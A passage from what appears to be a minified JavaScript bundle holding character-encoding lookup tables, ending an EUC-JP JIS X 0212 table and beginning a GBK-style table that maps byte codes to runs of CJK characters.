"籡籣籧籩籭籮籰籲籹籼籽粆粇粏粔粞粠粦粰粶粷粺粻粼粿糄糇糈糉糍糏糓糔糕糗糙糚糝糦糩糫糵紃紇紈紉紏紑紒紓紖紝紞紣紦紪紭紱紼紽紾絀絁絇絈絍絑絓絗絙絚絜絝絥絧絪絰絸絺絻絿綁綂綃綅綆綈綋綌綍綑綖綗綝"], ["8fd4a1", "綞綦綧綪綳綶綷綹緂", 4, "緌緍緎緗緙縀緢緥緦緪緫緭緱緵緶緹緺縈縐縑縕縗縜縝縠縧縨縬縭縯縳縶縿繄繅繇繎繐繒繘繟繡繢繥繫繮繯繳繸繾纁纆纇纊纍纑纕纘纚纝纞缼缻缽缾缿罃罄罇罏罒罓罛罜罝罡罣罤罥罦罭"], ["8fd5a1", "罱罽罾罿羀羋羍羏羐羑羖羗羜羡羢羦羪羭羴羼羿翀翃翈翎翏翛翟翣翥翨翬翮翯翲翺翽翾翿耇耈耊耍耎耏耑耓耔耖耝耞耟耠耤耦耬耮耰耴耵耷耹耺耼耾聀聄聠聤聦聭聱聵肁肈肎肜肞肦肧肫肸肹胈胍胏胒胔胕胗胘胠胭胮"], ["8fd6a1", "胰胲胳胶胹胺胾脃脋脖脗脘脜脞脠脤脧脬脰脵脺脼腅腇腊腌腒腗腠腡腧腨腩腭腯腷膁膐膄膅膆膋膎膖膘膛膞膢膮膲膴膻臋臃臅臊臎臏臕臗臛臝臞臡臤臫臬臰臱臲臵臶臸臹臽臿舀舃舏舓舔舙舚舝舡舢舨舲舴舺艃艄艅艆"], ["8fd7a1", "艋艎艏艑艖艜艠艣艧艭艴艻艽艿芀芁芃芄芇芉芊芎芑芔芖芘芚芛芠芡芣芤芧芨芩芪芮芰芲芴芷芺芼芾芿苆苐苕苚苠苢苤苨苪苭苯苶苷苽苾茀茁茇茈茊茋荔茛茝茞茟茡茢茬茭茮茰茳茷茺茼茽荂荃荄荇荍荎荑荕荖荗荰荸"], ["8fd8a1", "荽荿莀莂莄莆莍莒莔莕莘莙莛莜莝莦莧莩莬莾莿菀菇菉菏菐菑菔菝荓菨菪菶菸菹菼萁萆萊萏萑萕萙莭萯萹葅葇葈葊葍葏葑葒葖葘葙葚葜葠葤葥葧葪葰葳葴葶葸葼葽蒁蒅蒒蒓蒕蒞蒦蒨蒩蒪蒯蒱蒴蒺蒽蒾蓀蓂蓇蓈蓌蓏蓓"], ["8fd9a1", "蓜蓧蓪蓯蓰蓱蓲蓷蔲蓺蓻蓽蔂蔃蔇蔌蔎蔐蔜蔞蔢蔣蔤蔥蔧蔪蔫蔯蔳蔴蔶蔿蕆蕏", 4, "蕖蕙蕜", 6, "蕤蕫蕯蕹蕺蕻蕽蕿薁薅薆薉薋薌薏薓薘薝薟薠薢薥薧薴薶薷薸薼薽薾薿藂藇藊藋藎薭藘藚藟藠藦藨藭藳藶藼"], ["8fdaa1", "藿蘀蘄蘅蘍蘎蘐蘑蘒蘘蘙蘛蘞蘡蘧蘩蘶蘸蘺蘼蘽虀虂虆虒虓虖虗虘虙虝虠", 4, "虩虬虯虵虶虷虺蚍蚑蚖蚘蚚蚜蚡蚦蚧蚨蚭蚱蚳蚴蚵蚷蚸蚹蚿蛀蛁蛃蛅蛑蛒蛕蛗蛚蛜蛠蛣蛥蛧蚈蛺蛼蛽蜄蜅蜇蜋蜎蜏蜐蜓蜔蜙蜞蜟蜡蜣"], ["8fdba1", "蜨蜮蜯蜱蜲蜹蜺蜼蜽蜾蝀蝃蝅蝍蝘蝝蝡蝤蝥蝯蝱蝲蝻螃", 6, "螋螌螐螓螕螗螘螙螞螠螣螧螬螭螮螱螵螾螿蟁蟈蟉蟊蟎蟕蟖蟙蟚蟜蟟蟢蟣蟤蟪蟫蟭蟱蟳蟸蟺蟿蠁蠃蠆蠉蠊蠋蠐蠙蠒蠓蠔蠘蠚蠛蠜蠞蠟蠨蠭蠮蠰蠲蠵"], ["8fdca1", "蠺蠼衁衃衅衈衉衊衋衎衑衕衖衘衚衜衟衠衤衩衱衹衻袀袘袚袛袜袟袠袨袪袺袽袾裀裊", 4, "裑裒裓裛裞裧裯裰裱裵裷褁褆褍褎褏褕褖褘褙褚褜褠褦褧褨褰褱褲褵褹褺褾襀襂襅襆襉襏襒襗襚襛襜襡襢襣襫襮襰襳襵襺"], ["8fdda1", "襻襼襽覉覍覐覔覕覛覜覟覠覥覰覴覵覶覷覼觔", 4, "觥觩觫觭觱觳觶觹觽觿訄訅訇訏訑訒訔訕訞訠訢訤訦訫訬訯訵訷訽訾詀詃詅詇詉詍詎詓詖詗詘詜詝詡詥詧詵詶詷詹詺詻詾詿誀誃誆誋誏誐誒誖誗誙誟誧誩誮誯誳"], ["8fdea1", "誶誷誻誾諃諆諈諉諊諑諓諔諕諗諝諟諬諰諴諵諶諼諿謅謆謋謑謜謞謟謊謭謰謷謼譂", 4, "譈譒譓譔譙譍譞譣譭譶譸譹譼譾讁讄讅讋讍讏讔讕讜讞讟谸谹谽谾豅豇豉豋豏豑豓豔豗豘豛豝豙豣豤豦豨豩豭豳豵豶豻豾貆"], ["8fdfa1", "貇貋貐貒貓貙貛貜貤貹貺賅賆賉賋賏賖賕賙賝賡賨賬賯賰賲賵賷賸賾賿贁贃贉贒贗贛赥赩赬赮赿趂趄趈趍趐趑趕趞趟趠趦趫趬趯趲趵趷趹趻跀跅跆跇跈跊跎跑跔跕跗跙跤跥跧跬跰趼跱跲跴跽踁踄踅踆踋踑踔踖踠踡踢"], ["8fe0a1", "踣踦踧踱踳踶踷踸踹踽蹀蹁蹋蹍蹎蹏蹔蹛蹜蹝蹞蹡蹢蹩蹬蹭蹯蹰蹱蹹蹺蹻躂躃躉躐躒躕躚躛躝躞躢躧躩躭躮躳躵躺躻軀軁軃軄軇軏軑軔軜軨軮軰軱軷軹軺軭輀輂輇輈輏輐輖輗輘輞輠輡輣輥輧輨輬輭輮輴輵輶輷輺轀轁"], ["8fe1a1", "轃轇轏轑", 4, "轘轝轞轥辝辠辡辤辥辦辵辶辸达迀迁迆迊迋迍运迒迓迕迠迣迤迨迮迱迵迶迻迾适逄逈逌逘逛逨逩逯逪逬逭逳逴逷逿遃遄遌遛遝遢遦遧遬遰遴遹邅邈邋邌邎邐邕邗邘邙邛邠邡邢邥邰邲邳邴邶邽郌邾郃"], ["8fe2a1", "郄郅郇郈郕郗郘郙郜郝郟郥郒郶郫郯郰郴郾郿鄀鄄鄅鄆鄈鄍鄐鄔鄖鄗鄘鄚鄜鄞鄠鄥鄢鄣鄧鄩鄮鄯鄱鄴鄶鄷鄹鄺鄼鄽酃酇酈酏酓酗酙酚酛酡酤酧酭酴酹酺酻醁醃醅醆醊醎醑醓醔醕醘醞醡醦醨醬醭醮醰醱醲醳醶醻醼醽醿"], ["8fe3a1", "釂釃釅釓釔釗釙釚釞釤釥釩釪釬", 5, "釷釹釻釽鈀鈁鈄鈅鈆鈇鈉鈊鈌鈐鈒鈓鈖鈘鈜鈝鈣鈤鈥鈦鈨鈮鈯鈰鈳鈵鈶鈸鈹鈺鈼鈾鉀鉂鉃鉆鉇鉊鉍鉎鉏鉑鉘鉙鉜鉝鉠鉡鉥鉧鉨鉩鉮鉯鉰鉵", 4, "鉻鉼鉽鉿銈銉銊銍銎銒銗"], ["8fe4a1", "銙銟銠銤銥銧銨銫銯銲銶銸銺銻銼銽銿", 4, "鋅鋆鋇鋈鋋鋌鋍鋎鋐鋓鋕鋗鋘鋙鋜鋝鋟鋠鋡鋣鋥鋧鋨鋬鋮鋰鋹鋻鋿錀錂錈錍錑錔錕錜錝錞錟錡錤錥錧錩錪錳錴錶錷鍇鍈鍉鍐鍑鍒鍕鍗鍘鍚鍞鍤鍥鍧鍩鍪鍭鍯鍰鍱鍳鍴鍶"], ["8fe5a1", "鍺鍽鍿鎀鎁鎂鎈鎊鎋鎍鎏鎒鎕鎘鎛鎞鎡鎣鎤鎦鎨鎫鎴鎵鎶鎺鎩鏁鏄鏅鏆鏇鏉", 4, "鏓鏙鏜鏞鏟鏢鏦鏧鏹鏷鏸鏺鏻鏽鐁鐂鐄鐈鐉鐍鐎鐏鐕鐖鐗鐟鐮鐯鐱鐲鐳鐴鐻鐿鐽鑃鑅鑈鑊鑌鑕鑙鑜鑟鑡鑣鑨鑫鑭鑮鑯鑱鑲钄钃镸镹"], ["8fe6a1", "镾閄閈閌閍閎閝閞閟閡閦閩閫閬閴閶閺閽閿闆闈闉闋闐闑闒闓闙闚闝闞闟闠闤闦阝阞阢阤阥阦阬阱阳阷阸阹阺阼阽陁陒陔陖陗陘陡陮陴陻陼陾陿隁隂隃隄隉隑隖隚隝隟隤隥隦隩隮隯隳隺雊雒嶲雘雚雝雞雟雩雯雱雺霂"], ["8fe7a1", "霃霅霉霚霛霝霡霢霣霨霱霳靁靃靊靎靏靕靗靘靚靛靣靧靪靮靳靶靷靸靻靽靿鞀鞉鞕鞖鞗鞙鞚鞞鞟鞢鞬鞮鞱鞲鞵鞶鞸鞹鞺鞼鞾鞿韁韄韅韇韉韊韌韍韎韐韑韔韗韘韙韝韞韠韛韡韤韯韱韴韷韸韺頇頊頙頍頎頔頖頜頞頠頣頦"], ["8fe8a1", "頫頮頯頰頲頳頵頥頾顄顇顊顑顒顓顖顗顙顚顢顣顥顦顪顬颫颭颮颰颴颷颸颺颻颿飂飅飈飌飡飣飥飦飧飪飳飶餂餇餈餑餕餖餗餚餛餜餟餢餦餧餫餱", 4, "餹餺餻餼饀饁饆饇饈饍饎饔饘饙饛饜饞饟饠馛馝馟馦馰馱馲馵"], ["8fe9a1", "馹馺馽馿駃駉駓駔駙駚駜駞駧駪駫駬駰駴駵駹駽駾騂騃騄騋騌騐騑騖騞騠騢騣騤騧騭騮騳騵騶騸驇驁驄驊驋驌驎驑驔驖驝骪骬骮骯骲骴骵骶骹骻骾骿髁髃髆髈髎髐髒髕髖髗髛髜髠髤髥髧髩髬髲髳髵髹髺髽髿", 4], ["8feaa1", "鬄鬅鬈鬉鬋鬌鬍鬎鬐鬒鬖鬙鬛鬜鬠鬦鬫鬭鬳鬴鬵鬷鬹鬺鬽魈魋魌魕魖魗魛魞魡魣魥魦魨魪", 4, "魳魵魷魸魹魿鮀鮄鮅鮆鮇鮉鮊鮋鮍鮏鮐鮔鮚鮝鮞鮦鮧鮩鮬鮰鮱鮲鮷鮸鮻鮼鮾鮿鯁鯇鯈鯎鯐鯗鯘鯝鯟鯥鯧鯪鯫鯯鯳鯷鯸"], ["8feba1", "鯹鯺鯽鯿鰀鰂鰋鰏鰑鰖鰘鰙鰚鰜鰞鰢鰣鰦", 4, "鰱鰵鰶鰷鰽鱁鱃鱄鱅鱉鱊鱎鱏鱐鱓鱔鱖鱘鱛鱝鱞鱟鱣鱩鱪鱜鱫鱨鱮鱰鱲鱵鱷鱻鳦鳲鳷鳹鴋鴂鴑鴗鴘鴜鴝鴞鴯鴰鴲鴳鴴鴺鴼鵅鴽鵂鵃鵇鵊鵓鵔鵟鵣鵢鵥鵩鵪鵫鵰鵶鵷鵻"], ["8feca1", "鵼鵾鶃鶄鶆鶊鶍鶎鶒鶓鶕鶖鶗鶘鶡鶪鶬鶮鶱鶵鶹鶼鶿鷃鷇鷉鷊鷔鷕鷖鷗鷚鷞鷟鷠鷥鷧鷩鷫鷮鷰鷳鷴鷾鸊鸂鸇鸎鸐鸑鸒鸕鸖鸙鸜鸝鹺鹻鹼麀麂麃麄麅麇麎麏麖麘麛麞麤麨麬麮麯麰麳麴麵黆黈黋黕黟黤黧黬黭黮黰黱黲黵"], ["8feda1", "黸黿鼂鼃鼉鼏鼐鼑鼒鼔鼖鼗鼙鼚鼛鼟鼢鼦鼪鼫鼯鼱鼲鼴鼷鼹鼺鼼鼽鼿齁齃", 4, "齓齕齖齗齘齚齝齞齨齩齭", 4, "齳齵齺齽龏龐龑龒龔龖龗龞龡龢龣龥"]]
    }, function (t, e) {
        t.exports = [["0", "\0", 127, "€"], ["8140", "丂丄丅丆丏丒丗丟丠両丣並丩丮丯丱丳丵丷丼乀乁乂乄乆乊乑乕乗乚乛乢乣乤乥乧乨乪", 5, "乲乴", 9, "乿", 6, "亇亊"], ["8180", "亐亖亗亙亜亝亞亣亪亯亰亱亴亶亷亸亹亼亽亾仈仌仏仐仒仚仛仜仠仢仦仧仩仭仮仯仱仴仸仹仺仼仾伀伂", 6, "伋伌伒", 4, "伜伝伡伣伨伩伬伭伮伱伳伵伷伹伻伾", 4, "佄佅佇", 5, "佒佔佖佡佢佦佨佪佫佭佮佱佲併佷佸佹佺佽侀侁侂侅來侇侊侌侎侐侒侓侕侖侘侙侚侜侞侟価侢"], ["8240", "侤侫侭侰", 4, "侶", 8, "俀俁係俆俇俈俉俋俌俍俒", 4, "俙俛俠俢俤俥俧俫俬俰俲俴俵俶俷俹俻俼俽俿", 11], ["8280", "個倎倐們倓倕倖倗倛倝倞倠倢倣値倧倫倯", 10, "倻倽倿偀偁偂偄偅偆偉偊偋偍偐", 4, "偖偗偘偙偛偝", 7, "偦", 5, "偭", 8, "偸偹偺偼偽傁傂傃傄傆傇傉傊傋傌傎", 20, "傤傦傪傫傭", 4, "傳", 6, "傼"], ["8340", "傽", 17, "僐", 5, "僗僘僙僛", 10, "僨僩僪僫僯僰僱僲僴僶", 4, "僼", 9, "儈"], ["8380", "儉儊儌", 5, "儓", 13, "儢", 28, "兂兇兊兌兎兏児兒兓兗兘兙兛兝", 4, "兣兤兦內兩兪兯兲兺兾兿冃冄円冇冊冋冎冏冐冑冓冔冘冚冝冞冟冡冣冦", 4, "冭冮冴冸冹冺冾冿凁凂凃凅凈凊凍凎凐凒", 5], ["8440", "凘凙凚凜凞凟凢凣凥", 5, "凬凮凱凲凴凷凾刄刅刉刋刌刏刐刓刔刕刜刞刟刡刢刣別刦刧刪刬刯刱刲刴刵刼刾剄", 5, "剋剎剏剒剓剕剗剘"], ["8480", "剙剚剛剝剟剠剢剣剤剦剨剫剬剭剮剰剱剳", 9, "剾劀劃", 4, "劉", 6, "劑劒劔", 6, "劜劤劥劦劧劮劯劰労", 9, "勀勁勂勄勅勆勈勊勌勍勎勏勑勓勔動勗務", 5, "勠勡勢勣勥", 10, "勱", 7, "勻勼勽匁匂匃匄匇匉匊匋匌匎"], ["8540", "匑匒匓匔匘匛匜匞匟匢匤匥匧匨匩匫匬匭匯", 9, "匼匽區卂卄卆卋卌卍卐協単卙卛卝卥卨卪卬卭卲卶卹卻卼卽卾厀厁厃厇厈厊厎厏"], ["8580", "厐", 4, "厖厗厙厛厜厞厠厡厤厧厪厫厬厭厯", 6, "厷厸厹厺厼厽厾叀參", 4, "収叏叐叒叓叕叚叜叝叞叡叢叧叴叺叾叿吀吂吅吇吋吔吘吙吚吜吢吤吥吪吰吳吶吷吺吽吿呁呂呄呅呇呉呌呍呎呏呑呚呝", 4, "呣呥呧呩", 7, "呴呹呺呾呿咁咃咅咇咈咉咊咍咑咓咗咘咜咞咟咠咡"], ["8640", "咢咥咮咰咲咵咶咷咹咺咼咾哃哅哊哋哖哘哛哠", 4, "哫哬哯哰哱哴", 5, "哻哾唀唂唃唄唅唈唊", 4, "唒唓唕", 5, "唜唝唞唟唡唥唦"], ["8680", "唨唩唫唭唲唴唵唶唸唹唺唻唽啀啂啅啇啈啋", 4, "啑啒啓啔啗", 4, "啝啞啟啠啢啣啨啩啫啯", 5, "啹啺啽啿喅喆喌喍喎喐喒喓喕喖喗喚喛喞喠", 6, "喨", 8, "喲喴営喸喺喼喿", 4, "嗆嗇嗈嗊嗋嗎嗏嗐嗕嗗", 4, "嗞嗠嗢嗧嗩嗭嗮嗰嗱嗴嗶嗸", 4, "嗿嘂嘃嘄嘅"], ["8740", "嘆嘇嘊嘋嘍嘐", 7, "嘙嘚嘜嘝嘠嘡嘢嘥嘦嘨嘩嘪嘫嘮嘯嘰嘳嘵嘷嘸嘺嘼嘽嘾噀", 11, "噏", 4, "噕噖噚噛噝", 4], ["8780", "噣噥噦噧噭噮噯噰噲噳噴噵噷噸噹噺噽", 7, "嚇", 6, "嚐嚑嚒嚔", 14, "嚤", 10, "嚰", 6, "嚸嚹嚺嚻嚽", 12, "囋", 8, "囕囖囘囙囜団囥", 5, "囬囮囯囲図囶囷囸囻囼圀圁圂圅圇國", 6], ["8840", "園", 9, "圝圞圠圡圢圤圥圦圧圫圱圲圴", 4, "圼圽圿坁坃坄坅坆坈坉坋坒", 4, "坘坙坢坣坥坧坬坮坰坱坲坴坵坸坹坺坽坾坿垀"], ["8880", "垁垇垈垉垊垍", 4, "垔", 6, "垜垝垞垟垥垨垪垬垯垰垱垳垵垶垷垹", 8, "埄", 6, "埌埍埐埑埓埖埗埛埜埞埡埢埣埥", 7, "埮埰埱埲埳埵埶執埻埼埾埿堁堃堄堅堈堉堊堌堎堏堐堒堓堔堖堗堘堚堛堜堝堟堢堣堥", 4, "堫", 4, "報堲堳場堶", 7], ["8940", "堾", 5, "塅", 6, "塎塏塐塒塓塕塖塗塙", 4, "塟", 5, "塦", 4, "塭", 16, "塿墂墄墆墇墈墊墋墌"], ["8980", "墍", 4, "墔", 4, "墛墜墝墠", 7, "墪", 17, "墽墾墿壀壂壃壄壆", 10, "壒壓壔壖", 13, "壥", 5, "壭壯壱売壴壵壷壸壺", 7, "夃夅夆夈", 4, "夎夐夑夒夓夗夘夛夝夞夠夡夢夣夦夨夬夰夲夳夵夶夻"], ["8a40", "夽夾夿奀奃奅奆奊奌奍奐奒奓奙奛", 4, "奡奣奤奦", 12, "奵奷奺奻奼奾奿妀妅妉妋妌妎妏妐妑妔妕妘妚妛妜妝妟妠妡妢妦"], ["8a80", "妧妬妭妰妱妳", 5, "妺妼妽妿", 6, "姇姈姉姌姍姎姏姕姖姙姛姞", 4, "姤姦姧姩姪姫姭", 11, "姺姼姽姾娀娂娊娋娍娎娏娐娒娔娕娖娗娙娚娛娝娞娡娢娤娦娧娨娪", 6, "娳娵娷", 4, "娽娾娿婁", 4, "婇婈婋", 9, "婖婗婘婙婛", 5], ["8b40", "婡婣婤婥婦婨婩婫", 8, "婸婹婻婼婽婾媀", 17, "媓", 6, "媜", 13, "媫媬"], ["8b80", "媭", 4, "媴媶媷媹", 4, "媿嫀嫃", 5, "嫊嫋嫍", 4, "嫓嫕嫗嫙嫚嫛嫝嫞嫟嫢嫤嫥嫧嫨嫪嫬", 4, "嫲", 22, "嬊", 11, "嬘", 25, "嬳嬵嬶嬸", 7, "孁", 6], ["8c40", "孈", 7, "孒孖孞孠孡孧孨孫孭孮孯孲孴孶孷學孹孻孼孾孿宂宆宊宍宎宐宑宒宔宖実宧宨宩宬宭宮宯宱宲宷宺宻宼寀寁寃寈寉寊寋寍寎寏"], ["8c80", "寑寔", 8, "寠寢寣實寧審", 4, "寯寱", 6, "寽対尀専尃尅將專尋尌對導尐尒尓尗尙尛尞尟尠尡尣尦尨尩尪尫尭尮尯尰尲尳尵尶尷屃屄屆屇屌屍屒屓屔屖屗屘屚屛屜屝屟屢層屧", 6, "屰屲", 6, "屻屼屽屾岀岃", 4, "岉岊岋岎岏岒岓岕岝", 4, "岤", 4], ["8d40", "岪岮岯岰岲岴岶岹岺岻岼岾峀峂峃峅", 5, "峌", 5, "峓", 5, "峚", 6, "峢峣峧峩峫峬峮峯峱", 9, "峼", 4], ["8d80", "崁崄崅崈", 5, "崏", 4, "崕崗崘崙崚崜崝崟", 4, "崥崨崪崫崬崯", 4, "崵", 7, "崿", 7, "嵈嵉嵍", 10, "嵙嵚嵜嵞", 10, "嵪嵭嵮嵰嵱嵲嵳嵵", 12, "嶃", 21, "嶚嶛嶜嶞嶟嶠"], ["8e40", "嶡", 21, "嶸", 12, "巆", 6, "巎", 12, "巜巟巠巣巤巪巬巭"], ["8e80", "巰巵巶巸", 4, "巿帀帄帇帉帊帋帍帎帒帓帗帞", 7, "帨", 4, "帯帰帲", 4, "帹帺帾帿幀幁幃幆", 5, "幍", 6, "幖", 4, "幜幝幟幠幣", 14, "幵幷幹幾庁庂広庅庈庉庌庍庎庒庘庛庝庡庢庣庤庨", 4, "庮", 4, "庴庺庻庼庽庿", 6], ["8f40", "廆廇廈廋", 5, "廔廕廗廘廙廚廜", 11, "廩廫", 8, "廵廸廹廻廼廽弅弆弇弉弌弍弎弐弒弔弖弙弚弜弝弞弡弢弣弤"], ["8f80", "弨弫弬弮弰弲", 6, "弻弽弾弿彁", 14, "彑彔彙彚彛彜彞彟彠彣彥彧彨彫彮彯彲彴彵彶彸彺彽彾彿徃徆徍徎徏徑従徔徖徚徛徝從徟徠徢", 5, "復徫徬徯", 5, "徶徸徹徺徻徾", 4, "忇忈忊忋忎忓忔忕忚忛応忞忟忢忣忥忦忨忩忬忯忰忲忳忴忶忷忹忺忼怇"], ["9040", "怈怉怋怌怐怑怓怗怘怚怞怟怢怣怤怬怭怮怰", 4, "怶", 4, "怽怾恀恄", 6, "恌恎恏恑恓恔恖恗恘恛恜恞恟恠恡恥恦恮恱恲恴恵恷恾悀"], ["9080", "悁悂悅悆悇悈悊悋悎悏悐悑悓悕悗悘悙悜悞悡悢悤悥悧悩悪悮悰悳悵悶悷悹悺悽", 7, "惇惈惉惌", 4, "惒惓惔惖惗惙惛惞惡", 4, "惪惱惲惵惷惸惻", 4, "愂愃愄愅愇愊愋愌愐", 4, "愖愗愘愙愛愜愝愞愡愢愥愨愩愪愬", 18, "慀", 6], ["9140", "慇慉態慍慏慐慒慓慔慖", 6, "慞慟慠慡慣慤慥慦慩", 6, "慱慲慳慴慶慸", 18, "憌憍憏", 4, "憕"], ["9180", "憖", 6, "憞", 8, "憪憫憭", 9, "憸", 5, "憿懀懁懃", 4, "應懌", 4, "懓懕", 16, "懧", 13, "懶", 8, "戀", 5, "戇戉戓戔戙戜戝戞戠戣戦戧戨戩戫戭戯戰戱戲戵戶戸", 4, "扂扄扅扆扊"], ["9240", "扏扐払扖扗扙扚扜", 6, "扤扥扨扱扲扴扵扷扸扺扻扽抁抂抃抅抆抇抈抋", 5, "抔抙抜抝択抣抦抧抩抪抭抮抯抰抲抳抴抶抷抸抺抾拀拁"], ["9280", "拃拋拏拑拕拝拞拠拡拤拪拫拰拲拵拸拹拺拻挀挃挄挅挆挊挋挌挍挏挐挒挓挔挕挗挘挙挜挦挧挩挬挭挮挰挱挳", 5, "挻挼挾挿捀捁捄捇捈捊捑捒捓捔捖", 7, "捠捤捥捦捨捪捫捬捯捰捲捳捴捵捸捹捼捽捾捿掁掃掄掅掆掋掍掑掓掔掕掗掙", 6, "採掤掦掫掯掱掲掵掶掹掻掽掿揀"], ["9340", "揁揂揃揅揇揈揊揋揌揑揓揔揕揗", 6, "揟揢揤", 4, "揫揬揮揯揰揱揳揵揷揹揺揻揼揾搃搄搆", 4, "損搎搑搒搕", 5, "搝搟搢搣搤"], ["9380", "搥搧搨搩搫搮", 5, "搵", 4, "搻搼搾摀摂摃摉摋", 6, "摓摕摖摗摙", 4, "摟", 7, "摨摪摫摬摮", 9, "摻", 6, "撃撆撈", 8, "撓撔撗撘撚撛撜撝撟", 4, "撥撦撧撨撪撫撯撱撲撳撴撶撹撻撽撾撿擁擃擄擆", 6, "擏擑擓擔擕擖擙據"], ["9440", "擛擜擝擟擠擡擣擥擧", 24, "攁", 7, "攊", 7, "攓", 4, "攙", 8], ["9480", "攢攣攤攦", 4, "攬攭攰攱攲攳攷攺攼攽敀", 4, "敆敇敊敋敍敎敐敒敓敔敗敘敚敜敟敠敡敤敥敧敨敩敪敭敮敯敱敳敵敶數", 14, "斈斉斊斍斎斏斒斔斕斖斘斚斝斞斠斢斣斦斨斪斬斮斱", 7, "斺斻斾斿旀旂旇旈旉旊旍旐旑旓旔旕旘", 7, "旡旣旤旪旫"], ["9540", "旲旳旴旵旸旹旻", 4, "昁昄昅昇昈昉昋昍昐昑昒昖昗昘昚昛昜昞昡昢昣昤昦昩昪昫昬昮昰昲昳昷", 4, "昽昿晀時晄", 6, "晍晎晐晑晘"], ["9580", "晙晛晜晝晞晠晢晣晥晧晩", 4, "晱晲晳晵晸晹晻晼晽晿暀暁暃暅暆暈暉暊暋暍暎暏暐暒暓暔暕暘", 4, "暞", 8, "暩", 4, "暯", 4, "暵暶暷暸暺暻暼暽暿", 25, "曚曞", 7, "曧曨曪", 5, "曱曵曶書曺曻曽朁朂會"], ["9640", "朄朅朆朇朌朎朏朑朒朓朖朘朙朚朜朞朠", 5, "朧朩朮朰朲朳朶朷朸朹朻朼朾朿杁杄杅杇杊杋杍杒杔杕杗", 4, "杝杢杣杤杦杧杫杬杮東杴杶"], ["9680", "杸杹杺杻杽枀枂枃枅枆枈枊枌枍枎枏枑枒枓枔枖枙枛枟枠枡枤枦枩枬枮枱枲枴枹", 7, "柂柅", 9, "柕柖柗柛柟柡柣柤柦柧柨柪柫柭柮柲柵", 7, "柾栁栂栃栄栆栍栐栒栔栕栘", 4, "栞栟栠栢", 6, "栫", 6, "栴栵栶栺栻栿桇桋桍桏桒桖", 5], ["9740", "桜桝桞桟桪桬", 7, "桵桸", 8, "梂梄梇", 7, "梐梑梒梔梕梖梘", 9, "梣梤梥梩梪梫梬梮梱梲梴梶梷梸"], ["9780", "梹", 6, "棁棃", 5, "棊棌棎棏棐棑棓棔棖棗棙棛", 4, "棡棢棤", 9, "棯棲棳棴棶棷棸棻棽棾棿椀椂椃椄椆", 4, "椌椏椑椓", 11, "椡椢椣椥", 7, "椮椯椱椲椳椵椶椷椸椺椻椼椾楀楁楃", 16, "楕楖楘楙楛楜楟"], ["9840", "楡楢楤楥楧楨楩楪楬業楯楰楲", 4, "楺楻楽楾楿榁榃榅榊榋榌榎", 5, "榖榗榙榚榝", 9, "榩榪榬榮榯榰榲榳榵榶榸榹榺榼榽"], ["9880", "榾榿槀槂", 7, "構槍槏槑槒槓槕", 5, "槜槝槞槡", 11, "槮槯槰槱槳", 9, "槾樀", 9, "樋", 11, "標", 5, "樠樢", 5, "権樫樬樭樮樰樲樳樴樶", 6, "樿", 4, "橅橆橈", 7, "橑", 6, "橚"], ["9940", "橜", 4, "橢橣橤橦", 10, "橲", 6, "橺橻橽橾橿檁檂檃檅", 8, "檏檒", 4, "檘", 7, "檡", 5], ["9980", "檧檨檪檭", 114, "欥欦欨", 6], ["9a40", "欯欰欱欳欴欵欶欸欻欼欽欿歀歁歂歄歅歈歊歋歍", 11, "歚", 7, "歨歩歫", 13, "歺歽歾歿殀殅殈"], ["9a80", "殌殎殏殐殑殔殕殗殘殙殜", 4, "殢", 7, "殫", 7, "殶殸", 6, "毀毃毄毆", 4, "毌毎毐毑毘毚毜", 4, "毢", 7, "毬毭毮毰毱毲毴毶毷毸毺毻毼毾", 6, "氈", 4, "氎氒気氜氝氞氠氣氥氫氬氭氱氳氶氷氹氺氻氼氾氿汃汄汅汈汋", 4, "汑汒汓汖汘"], ["9b40", "汙汚汢汣汥汦汧汫", 4, "汱汳汵汷汸決汻汼汿沀沄沇沊沋沍沎沑沒沕沖沗沘沚沜沝沞沠沢沨沬沯沰沴沵沶沷沺泀況泂泃泆泇泈泋泍泎泏泑泒泘"], ["9b80", "泙泚泜泝泟泤泦泧泩泬泭泲泴泹泿洀洂洃洅洆洈洉洊洍洏洐洑洓洔洕洖洘洜洝洟", 5, "洦洨洩洬洭洯洰洴洶洷洸洺洿浀浂浄浉浌浐浕浖浗浘浛浝浟浡浢浤浥浧浨浫浬浭浰浱浲浳浵浶浹浺浻浽", 4, "涃涄涆涇涊涋涍涏涐涒涖", 4, "涜涢涥涬涭涰涱涳涴涶涷涹", 5, "淁淂淃淈淉淊"], ["9c40", "淍淎淏淐淒淓淔淕淗淚淛淜淟淢淣淥淧淨淩淪淭淯淰淲淴淵淶淸淺淽", 7, "渆渇済渉渋渏渒渓渕渘渙減渜渞渟渢渦渧渨渪測渮渰渱渳渵"], ["9c80", "渶渷渹渻", 7, "湅", 7, "湏湐湑湒湕湗湙湚湜湝湞湠", 10, "湬湭湯", 14, "満溁溂溄溇溈溊", 4, "溑", 6, "溙溚溛溝溞溠溡溣溤溦溨溩溫溬溭溮溰溳溵溸溹溼溾溿滀滃滄滅滆滈滉滊滌滍滎滐滒滖滘滙滛滜滝滣滧滪", 5], ["9d40", "滰滱滲滳滵滶滷滸滺", 7, "漃漄漅漇漈漊", 4, "漐漑漒漖", 9, "漡漢漣漥漦漧漨漬漮漰漲漴漵漷", 6, "漿潀潁潂"], ["9d80", "潃潄潅潈潉潊潌潎", 9, "潙潚潛潝潟潠潡潣潤潥潧", 5, "潯潰潱潳潵潶潷潹潻潽", 6, "澅澆澇澊澋澏", 12, "澝澞澟澠澢", 4, "澨", 10, "澴澵澷澸澺", 5, "濁濃", 5, "濊", 6, "濓", 10, "濟濢濣濤濥"], ["9e40", "濦", 7, "濰", 32, "瀒", 7, "瀜", 6, "瀤", 6], ["9e80", "瀫", 9, "瀶瀷瀸瀺", 17, "灍灎灐", 13, "灟", 11, "灮灱灲灳灴灷灹灺灻災炁炂炃炄炆炇炈炋炌炍炏炐炑炓炗炘炚炛炞", 12, "炰炲炴炵炶為炾炿烄烅烆烇烉烋", 12, "烚"], ["9f40", "烜烝烞烠烡烢烣烥烪烮烰", 6, "烸烺烻烼烾", 10, "焋", 4, "焑焒焔焗焛", 10, "焧", 7, "焲焳焴"], ["9f80", "焵焷", 13, "煆煇煈煉煋煍煏", 12, "煝煟", 4, "煥煩", 4, "煯煰煱煴煵煶煷煹煻煼煾", 5, "熅", 4, "熋熌熍熎熐熑熒熓熕熖熗熚", 4, "熡", 6, "熩熪熫熭", 5, "熴熶熷熸熺", 8, "燄", 9, "燏", 4], ["a040", "燖", 9, "燡燢燣燤燦燨", 5, "燯", 9, "燺", 11, "爇", 19], ["a080", "爛爜爞", 9, "爩爫爭爮爯爲爳爴爺爼爾牀", 6, 